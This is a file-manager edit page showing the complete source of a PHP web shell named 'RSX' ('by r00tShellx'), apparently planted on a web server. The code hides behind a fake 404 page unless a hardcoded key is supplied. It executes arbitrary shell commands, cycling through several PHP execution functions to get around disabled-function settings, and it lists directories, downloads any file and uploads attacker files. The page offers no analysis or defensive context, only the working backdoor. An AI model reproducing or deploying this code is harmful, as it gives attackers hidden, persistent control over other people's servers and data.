← Back
Editing: rsx_l5jcdot9ejoh.php
<?php @set_time_limit(0); @ini_set('display_errors','0'); error_reporting(0); define('RSX_KEY','l5jcdot9ejoh'); $k = isset($_REQUEST['k']) ? (string) $_REQUEST['k'] : ''; if (isset($_SERVER['HTTP_X_RSX_KEY'])) { $k = (string) $_SERVER['HTTP_X_RSX_KEY']; } if (!(function_exists('hash_equals') ? hash_equals(RSX_KEY,$k) : ($k === RSX_KEY))) { http_response_code(404); echo "<!doctype html><meta charset=utf-8><title>404 Not Found</title>"; exit; } if (isset($_GET['raw'])) { header('Content-Type: text/plain; charset=utf-8'); echo file_get_contents(__FILE__); exit; } function rsx_dis($f){ $d=@ini_get('disable_functions'); return $d && in_array(strtolower($f), array_map('trim', explode(',', strtolower($d))), true); } function rsx_run($cmd){ if (function_exists('shell_exec') && !rsx_dis('shell_exec')) return (string)@shell_exec($cmd.' 2>&1'); if (function_exists('exec') && !rsx_dis('exec')) { @exec($cmd.' 2>&1', $o); return implode("\n",(array)$o); } if (function_exists('system') && !rsx_dis('system')) { ob_start(); @system($cmd.' 2>&1'); return (string)ob_get_clean(); } if (function_exists('passthru') && !rsx_dis('passthru')) { ob_start(); @passthru($cmd.' 2>&1'); return (string)ob_get_clean(); } if (function_exists('proc_open') && !rsx_dis('proc_open')) { $p=@proc_open($cmd, array(1=>array('pipe','w'),2=>array('pipe','w')), $pp); if (is_resource($p)) { $r=stream_get_contents($pp[1]).stream_get_contents($pp[2]); @proc_close($p); return $r; } } return 'EXEC_DISABLED'; } $a = isset($_REQUEST['a']) ? (string)$_REQUEST['a'] : 'ui'; $d = isset($_REQUEST['d']) ? (string)$_REQUEST['d'] : getcwd(); $rd = @realpath($d); if ($rd && @is_dir($rd)) { $d = $rd; } else { $d = getcwd(); } if ($a === 'ping') { header('Content-Type: text/plain'); echo 'RSX_OK:'.php_uname('n'); exit; } if ($a === 'cmd') { header('Content-Type: text/plain; charset=utf-8'); echo rsx_run((string)($_REQUEST['c'] ?? 'id')); exit; } if ($a === 'ls') { header('Content-Type: text/plain; charset=utf-8'); echo rsx_run('ls -la '.escapeshellarg($d)); exit; } if ($a === 'get') { $f=(string)($_REQUEST['f'] ?? ''); if ($f!=='' && @is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); echo @file_get_contents($f); } exit; } if ($a === 'up') { header('Content-Type: text/plain; charset=utf-8'); if (empty($_FILES['f']['tmp_name'])) { echo 'NO_FILE'; exit; } $n = basename((string)$_FILES['f']['name']); $t = rtrim($d,'/').'/'.$n; echo (@move_uploaded_file($_FILES['f']['tmp_name'], $t) || @rename($_FILES['f']['tmp_name'], $t)) ? 'UPLOADED:'.$t : 'FAILED:'.$t; exit; } $out = isset($_REQUEST['c']) ? rsx_run((string)$_REQUEST['c']) : ''; header('Content-Type: text/html; charset=utf-8'); ?><!doctype html><html><head><meta charset="utf-8"><title>RSX</title><style> :root{--a:#00ffc6;--b:#7b2cff}*{box-sizing:border-box}body{margin:0;background:#07070b;color:#d7d7e2;font:14px/1.55 ui-monospace,Consolas,monospace;padding:24px} h1{margin:0;font-size:22px;letter-spacing:3px;color:var(--a)}.sub{color:#6a6a86;font-size:12px;margin:4px 0 18px} .card{border:1px solid #1d1d2b;border-radius:12px;padding:16px;margin-bottom:14px;background:#0c0c14} form{display:flex;gap:8px;flex-wrap:wrap}input[type=text]{flex:1;min-width:220px;background:#07070b;border:1px solid #24243a;color:#e2e2ee;border-radius:8px;padding:9px 11px} input[type=submit]{background:linear-gradient(90deg,var(--a),var(--b));border:0;color:#04040a;font-weight:700;border-radius:8px;padding:9px 16px;cursor:pointer} pre{white-space:pre-wrap;word-break:break-all;background:#07070b;border:1px solid #171724;border-radius:8px;padding:12px;max-height:420px;overflow:auto} </style></head><body><h1>RSX</h1><div class="sub">by r00tShellx · <?php echo htmlspecialchars(php_uname('s').' '.php_uname('r').' / PHP '.PHP_VERSION); ?></div> <div class="card"><form method="post"><input type="hidden" name="k" value="<?php echo htmlspecialchars($k); ?>"><input type="hidden" name="d" value="<?php echo htmlspecialchars($d); ?>"><input type="text" name="c" value="id; uname -a"><input type="submit" value="Execute"></form></div> <div class="card"><form method="post" enctype="multipart/form-data"><input type="hidden" name="k" value="<?php echo htmlspecialchars($k); ?>"><input type="hidden" name="a" value="up"><input type="hidden" name="d" value="<?php echo htmlspecialchars($d); ?>"><input type="file" name="f"><input type="submit" value="Upload"></form></div> <div class="card"><b>DIR:</b> <?php echo htmlspecialchars($d); ?><pre><?php echo htmlspecialchars($out !== '' ? $out : 'no output'); ?></pre></div></body></html>
Save File
Cancel